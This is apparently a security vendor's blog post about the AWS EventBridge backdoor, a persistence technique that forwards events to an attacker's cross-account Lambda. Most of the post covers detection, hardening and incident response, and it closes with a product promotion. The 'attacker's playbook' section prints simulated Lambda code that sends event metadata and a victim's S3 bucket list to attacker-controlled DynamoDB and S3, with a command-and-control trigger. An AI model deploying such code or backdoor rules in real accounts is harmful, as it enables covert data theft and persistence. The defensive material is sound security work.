Introduction
Your security dashboard is clean. No suspicious EC2 instances. No rogue Lambda functions. No unauthorized S3 access. Yet at this very moment, an attacker is watching everything you do in AWS-and your best security tools can't see them.
In the background, a single, harmless-looking EventBridge rule has been altered. This rule doesn't create new compute resources or storage; it simply forwards your events to a Lambda function that you don't control, an attacker's Lambda sitting quietly in a separate AWS account. This subtle but powerful attack, known as the EventBridge backdoor, is a persistence trick that even seasoned defenders often overlook.
This blog explores this invisible backdoor, which is built not from malicious code but from a simple configuration change. It explains how adversaries can plant this backdoor to receive events and sensitive payloads, all without deploying any compute resources inside your environment. We will delve into why attackers love this technique, what their code looks like, and provide a step-by-step guide to help you spot this "ghost in the machine," with a focus on detection, mitigation, and incident response.
What Makes This Attack So Dangerous?
An EventBridge backdoor is a configuration-only persistence mechanism: an EventBridge rule in your account that targets a Lambda function the attacker controls in a different AWS account. When triggered, EventBridge forwards events directly to this external function, which can process sensitive data, trigger follow-up attacks, or act as a remote control channel.
The critical insight: The only artifact in your account is a single configuration object-a rule. No malicious Lambda, no rogue EC2 instance, no suspicious container. Just a line of JSON pointing somewhere you don't control. Traditional detection fails because no malicious compute resources exist, no network traffic leaves your VPC in the conventional sense, and EventBridge is performing exactly as designed. The only evidence is a single JSON configuration line that can easily be overlooked among hundreds of legitimate automation rules.
Why Attackers Love This Technique
Traditional security tools hunt for compute resources: new instances, deployed functions, modified code. An EventBridge backdoor sidesteps all of that. It's a trusted AWS service doing exactly what it's designed to do-route events. The malicious activity happens entirely off-account, making forensic investigation nearly impossible.
Think about it: Every time your CI/CD pipeline deploys code, every EC2 instance launch, every S3 bucket change, an attacker could be receiving real-time notifications. And you'd never know by looking at your Lambda functions or compute resources.
The Attacker's Playbook: Malicious Lambda Code
To understand the threat, you need to see what the attacker's external Lambda actually does. Here's a realistic simulation of malicious code that would be invoked by the backdoor:
import json
import os
import boto3
import urllib3
# SECTION 1: EXFILTRATION INFRASTRUCTURE
# Attacker's S3 bucket and DynamoDB table for data exfiltration
ATTACKER_BUCKET = os.environ.get('ATTACKER_S3_BUCKET', 'my-stealth-exfil-bucket')
ATTACKER_TABLE = os.environ.get('ATTACKER_DYNAMODB_TABLE', 'stolen-data-log')
s3_client = boto3.client('s3')
ddb_client = boto3.client('dynamodb')
def lambda_handler(event, context):
"""
Simulates a malicious Lambda function invoked by an EventBridge rule.
The function performs data exfiltration and covert C&C activity.
"""
print("Received event from EventBridge backdoor: ", json.dumps(event))
# SECTION 2: DATA EXFILTRATION# Note for defenders: Events contain sensitive account metadata
try:
exfil_data = {
'aws_account_id': context.invoked_function_arn.split(":")[4],
'source_account': event.get('account'),
'detail_type': event.get('detail-type'),
'source': event.get('source'),
'time': event.get('time'),
'request_id': context.aws_request_id
}
# Write metadata to the attacker's DynamoDB table
ddb_client.put_item(
TableName=ATTACKER_TABLE,
Item={
'request_id': {'S': exfil_data['request_id']},
'source_account': {'S': exfil_data['source_account']},
'data': {'S': json.dumps(exfil_data)}
}
)
print("Exfiltrated event metadata to DynamoDB.")
except Exception as e:
print(f"Error during metadata exfiltration: {e}")
# An attacker would likely suppress this error
# SECTION 3: COMMAND AND CONTROL CHANNEL
# Dynamic tasking capability based on event content
try:
if event.get('detail', {}).get('action') == 'list_s3_buckets':
print("Received C&C command: list_s3_buckets")
# This is a key step: The Lambda's IAM role must have permissions
# to list S3 buckets in the victim account (via a cross-account role assumption).
# In a real attack, the Lambda would assume a role in the victim account
# to perform privileged actions. For this simulation, we'll just log the intent.
s3 = boto3.resource('s3')
victim_buckets = [bucket.name for bucket in s3.buckets.all()]
# Send the result back to the attacker's infrastructure
# For this simulation, we'll write to S3
s3_client.put_object(
Bucket=ATTACKER_BUCKET,
Key=f"s3_list/{context.aws_request_id}.json",
Body=json.dumps({'buckets': victim_buckets})
)
print(f"Successfully listed and exfiltrated victim's S3 buckets: {victim_buckets}")
except Exception as e:
print(f"Error executing C&C command: {e}")
# Again, an attacker would suppress errors to remain stealthy
return {
'statusCode': 200,
'body': json.dumps('Event processed successfully')
}
Immediate Security Assessment
Before diving into comprehensive detection strategies, security teams should conduct an immediate audit of their EventBridge rules. The following command sequence identifies rules with external targets:
# List all EventBridge rules in the current region
aws events list-rules --query 'Rules[*].Name' --output text
# For each rule, examine the targets
for rule in $(aws events list-rules --query 'Rules[*].Name' --output text); do
echo "Analyzing rule: $rule"
aws events list-targets-by-rule --rule "$rule" \
--query 'Targets[?!contains(Arn, `YOUR_ACCOUNT_ID`)].Arn'
done
Expected results should show no output. Any ARN containing an account ID different from your own warrants immediate investigation. Document all legitimate cross-account integrations and verify that they match your organization's approved architecture.
Comprehensive Detection Strategy
Even stealthy backdoors leave breadcrumbs. Security teams should watch for the following indicators:
Primary Indicators of Compromise
External ARN Targets: Rules pointing to Lambda functions, SNS topics, or other resources in unrecognized AWS accounts represent the most direct indicator of compromise.
Rules Created Outside CI/CD: EventBridge rules that appear without corresponding Infrastructure-as-Code commits in your version control system indicate manual or unauthorized creation.
Suspicious Timing Patterns: Rule invocations that coincide with sensitive data access or privileged operations may indicate an attacker using your events to trigger follow-on actions.
Generic Naming Conventions: Rules with vague descriptions such as "monitoring-rule" or "automation-task" that don't match your organization's naming standards deserve scrutiny.
Unknown Principals: CloudTrail logs showing rule modifications by unfamiliar users or roles should trigger investigation.
Tiered Detection Approach
Immediate Actions (Within 24 Hours):
Execute the audit script provided above to identify all EventBridge rules with external targets. Cross-reference discovered rules against your organization's approved cross-account integration documentation. Any discrepancies require immediate investigation.
Retrieve CloudTrail events for the past 90 days:
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=PutRule \
--max-results 50
Review the userIdentity field in each event to determine which principals created or modified rules. Correlate these activities with your CI/CD pipeline logs to identify unauthorized manual changes.
Short-Term Implementation (Within One Week):
Deploy CloudWatch alarms to monitor PutRule and PutTargets API calls. Configure these alarms to trigger when events occur outside your standard deployment windows or from unexpected principals.
Establish baseline documentation for all legitimate cross-account EventBridge integrations, including business justification, security review approval, and technical point of contact.
Long-Term Strategic Controls (Within One Quarter):
Implement AWS Config rules to continuously validate that all EventBridge rule targets match your approved account allowlist. Configure automatic remediation to disable non-compliant rules.
Deploy CloudWatch Logs Insights queries to correlate EventBridge rule invocations with subsequent resource access patterns. Unusual sequences may indicate command-and-control activity.
Hardening Your Environment
The following controls significantly reduce the attack surface:
Access Control and Governance
Restrict the events:PutRule and events:PutTargets permissions to trusted automation roles exclusively. Human users should not have permissions to create production EventBridge rules manually. Implement IAM policies with condition keys that enforce target ARN restrictions.
Require all EventBridge rules to be deployed through your CI/CD pipeline using Infrastructure-as-Code tools such as CloudFormation, Terraform, or CDK. This approach creates an audit trail, enables peer review, and prevents ad-hoc configuration changes.
Implement Service Control Policies (SCPs) at the AWS Organizations level to block EventBridge targets pointing to external accounts that aren't explicitly approved. Use IAM condition keys to enforce allowlists of permitted target account IDs.
Incident Response Protocol
If you suspect an EventBridge backdoor, speed and methodology are critical:
Evidence Preservation
Capture the complete rule definition using aws events describe-rule --name <rule-name> before making any modifications. Extract CloudTrail events for the past 90 days related to this rule, focusing on creation, modification, and invocation events. Document all targets and their ARNs, including the owning account IDs.
Threat Containment
Disable the suspect rule immediately using aws events disable-rule --name <rule-name>. Do not delete the rule until forensic analysis is complete. Remove external targets while preserving CloudWatch Logs for analysis. Implement temporary IAM policy restrictions to prevent re-creation of similar rules.
Impact Assessment
Correlate rule invocation timestamps with CloudTrail logs to identify what data or resources were accessed during the compromise window. Examine whether the external Lambda role has any trust relationships with roles in your account, which would indicate privilege escalation attempts. Review VPC Flow Logs and S3 access logs for evidence of data transfer to the attacker's account.
Eradication and Recovery
Rotate credentials for any principals involved in the malicious rule creation. Revoke all cross-account trust relationships that lack explicit business justification and security approval. Delete the malicious rule after completing forensic documentation. Restrict events:PutRule and events:PutTargets permissions until the security investigation is complete and proper controls are in place.
Post-Incident Activities
Document the root cause analysis including the initial access vector, timeline of compromise, and extent of data exposure. Extend your account allowlists and monitoring capabilities to prevent similar attacks. Conduct a comprehensive audit across all AWS accounts in your organization to identify similar backdoors. Update your incident response playbook with lessons learned from this event.
Conclusion
EventBridge is one of AWS's most powerful services for building event-driven architectures. But that power comes with risk. An attacker doesn't need to deploy malware or compromise instances-just change a single configuration line, and they have a persistent foothold in your environment.
The good news is that this attack is preventable. By enforcing Infrastructure-as-Code, implementing strict allowlists, and monitoring EventBridge changes with the same rigor applied to IAM policies, you can transform your event-driven architecture from a potential vulnerability into a hardened system.
The most dangerous backdoors don't announce themselves with alarms and flashing lights. They whisper through legitimate AWS services, hiding in plain sight as a single line of configuration. Security teams must expand their detection capabilities beyond compute resources to include configuration-only persistence mechanisms.
Organizations should begin by auditing all EventBridge rules with external targets and correlating their creation events with CI/CD pipeline activity. Rules that cannot be traced back to approved automation workflows require immediate investigation. Regular security assessments should include EventBridge configuration reviews as a standard component.
Cyngular Security's CIRA Platform
To further secure your cloud environment, consider integrating Cyngular Security's CIRA platform. It enhances your security posture by providing advanced investigation and response capabilities, enabling your team to address threats swiftly and effectively. By adopting Cyngular Security's CIRA, you empower your organization with proactive and automated security measures that protect your cloud assets.
Get a Free Breach Assessment
Protect your cybersecurity infrastructure with a complimentary breach assessment from Cyngular:
- Safe and Non-disruptive: Conducted with read-only access to ensure no operational disruption.
- Easy Setup: Integrates seamlessly with your existing SIEM systems.
- Deep Insights: Empowers your cybersecurity strategy with advanced threat hunting and proactive investigation capabilities.
Request your free Proof-of-Value today and lead the way in cybersecurity innovation with Cyngular.
